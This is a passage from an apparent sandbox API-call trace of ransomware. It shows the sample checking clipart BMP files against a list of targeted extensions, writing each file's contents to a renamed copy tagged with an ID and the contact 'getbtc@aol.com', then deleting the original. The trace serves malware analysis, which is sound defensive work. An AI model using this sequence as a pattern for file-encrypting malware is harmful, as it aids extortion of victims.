lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".7z") returned 3 [0255.612] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.612] lstrlenW (lpString=".dbf") returned 4 [0255.612] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.612] lstrlenW (lpString=".1cd") returned 4 [0255.612] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.612] lstrlenW (lpString=".jpg") returned 4 [0255.612] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.612] lstrlenW (lpString=".doc") returned 4 [0255.612] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".docx") returned 5 [0255.612] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0255.612] lstrlenW (lpString=".pdf") returned 4 [0255.612] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".xls") returned 4 [0255.612] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".xlsx") returned 5 [0255.612] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0255.612] lstrlenW (lpString=".ppt") returned 4 [0255.612] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.612] lstrlenW (lpString=".zip") returned 4 [0255.612] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".rar") returned 4 [0255.612] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".bz2") returned 4 [0255.612] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.612] lstrlenW (lpString=".7z") returned 3 [0255.613] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.613] lstrlenW (lpString=".dbf") returned 4 [0255.613] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.613] lstrlenW (lpString=".1cd") returned 4 [0255.613] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0255.613] lstrlenW (lpString=".jpg") returned 4 [0255.613] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.613] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.613] lstrlenW (lpString="J0101862.BMP") returned 12 [0255.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.613] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=32184) returned 1 [0255.613] CloseHandle (hObject=0x3d4) returned 1 [0255.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0255.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.614] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.614] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.614] GetLastError () returned 0x0 [0255.614] ReadFile (in: hFile=0x3d4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.639] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.640] ReadFile (in: hFile=0x3d4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.640] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.640] SetEndOfFile (hFile=0x394) returned 1 [0255.640] CloseHandle (hObject=0x394) returned 1 [0255.640] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.640] SetEndOfFile (hFile=0x3d4) returned 1 [0255.643] CloseHandle (hObject=0x3d4) returned 1 [0255.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString=".doc") returned 4 [0255.644] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString=".docx") returned 5 [0255.644] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0255.644] lstrlenW (lpString=".pdf") returned 4 [0255.644] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString=".xls") returned 4 [0255.644] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString=".xlsx") returned 5 [0255.644] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0255.644] lstrlenW (lpString=".ppt") returned 4 [0255.644] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString=".zip") returned 4 [0255.644] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString=".rar") returned 4 [0255.644] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString=".bz2") returned 4 [0255.644] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString=".7z") returned 3 [0255.644] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString=".dbf") returned 4 [0255.644] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString=".1cd") returned 4 [0255.644] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString=".jpg") returned 4 [0255.644] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.644] lstrlenW (lpString=".doc") returned 4 [0255.645] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString=".docx") returned 5 [0255.645] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0255.645] lstrlenW (lpString=".pdf") returned 4 [0255.645] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString=".xls") returned 4 [0255.645] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString=".xlsx") returned 5 [0255.645] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0255.645] lstrlenW (lpString=".ppt") returned 4 [0255.645] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.645] lstrlenW (lpString=".zip") returned 4 [0255.645] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString=".rar") returned 4 [0255.645] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString=".bz2") returned 4 [0255.645] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString=".7z") returned 3 [0255.645] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.645] lstrlenW (lpString=".dbf") returned 4 [0255.645] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.645] lstrlenW (lpString=".1cd") returned 4 [0255.645] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0255.645] lstrlenW (lpString=".jpg") returned 4 [0255.645] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.645] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.645] lstrlenW (lpString="J0101865.BMP") returned 12 [0255.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.646] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=32184) returned 1 [0255.646] CloseHandle (hObject=0x3d4) returned 1 [0255.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0255.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.646] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.646] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.647] GetLastError () returned 0x0 [0255.647] ReadFile (in: hFile=0x3d4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0255.736] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0255.738] ReadFile (in: hFile=0x3d4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.738] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.738] SetEndOfFile (hFile=0x394) returned 1 [0255.738] CloseHandle (hObject=0x394) returned 1 [0255.738] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.738] SetEndOfFile (hFile=0x3d4) returned 1 [0255.740] CloseHandle (hObject=0x3d4) returned 1 [0255.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0255.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.741] lstrlenW (lpString=".doc") returned 4 [0255.741] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.741] lstrlenW (lpString=".docx") returned 5 [0255.741] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0255.741] lstrlenW (lpString=".pdf") returned 4 [0255.741] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.741] lstrlenW (lpString=".xls") returned 4 [0255.741] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.741] lstrlenW (lpString=".xlsx") returned 5 [0255.741] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0255.741] lstrlenW (lpString=".ppt") returned 4 [0255.742] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString=".zip") returned 4 [0255.742] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".rar") returned 4 [0255.742] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".bz2") returned 4 [0255.742] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".7z") returned 3 [0255.742] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString=".dbf") returned 4 [0255.742] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString=".1cd") returned 4 [0255.742] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString=".jpg") returned 4 [0255.742] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString=".doc") returned 4 [0255.742] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".docx") returned 5 [0255.742] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0255.742] lstrlenW (lpString=".pdf") returned 4 [0255.742] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".xls") returned 4 [0255.742] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".xlsx") returned 5 [0255.742] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0255.742] lstrlenW (lpString=".ppt") returned 4 [0255.742] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.742] lstrlenW (lpString=".zip") returned 4 [0255.742] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.742] lstrlenW (lpString=".rar") returned 4 [0255.743] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.743] lstrlenW (lpString=".bz2") returned 4 [0255.743] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.743] lstrlenW (lpString=".7z") returned 3 [0255.743] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.743] lstrlenW (lpString=".dbf") returned 4 [0255.743] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.743] lstrlenW (lpString=".1cd") returned 4 [0255.743] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0255.743] lstrlenW (lpString=".jpg") returned 4 [0255.743] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.821] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.821] lstrlenW (lpString="J0101867.BMP") returned 12 [0255.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.824] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=32616) returned 1 [0255.824] CloseHandle (hObject=0x1fc) returned 1 [0255.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0255.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0255.862] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.862] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0255.862] GetLastError () returned 0x0 [0255.862] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7f68, lpOverlapped=0x0) returned 1 [0255.873] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7f70, lpOverlapped=0x0) returned 1 [0255.874] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.874] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.874] SetEndOfFile (hFile=0x390) returned 1 [0255.874] CloseHandle (hObject=0x390) returned 1 [0255.874] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.874] SetEndOfFile (hFile=0x20c) returned 1 [0255.877] CloseHandle (hObject=0x20c) returned 1 [0255.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.878] lstrlenW (lpString=".doc") returned 4 [0255.878] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString=".docx") returned 5 [0255.878] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0255.878] lstrlenW (lpString=".pdf") returned 4 [0255.878] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString=".xls") returned 4 [0255.878] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString=".xlsx") returned 5 [0255.878] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0255.878] lstrlenW (lpString=".ppt") returned 4 [0255.878] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.878] lstrlenW (lpString=".zip") returned 4 [0255.878] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString=".rar") returned 4 [0255.878] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString=".bz2") returned 4 [0255.878] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.878] lstrlenW (lpString=".7z") returned 3 [0255.879] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString=".dbf") returned 4 [0255.879] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString=".1cd") returned 4 [0255.879] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0255.879] lstrlenW (lpString=".jpg") returned 4 [0255.879] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.879] lstrlenW (lpString="C:\\Program Files\\Microsoft 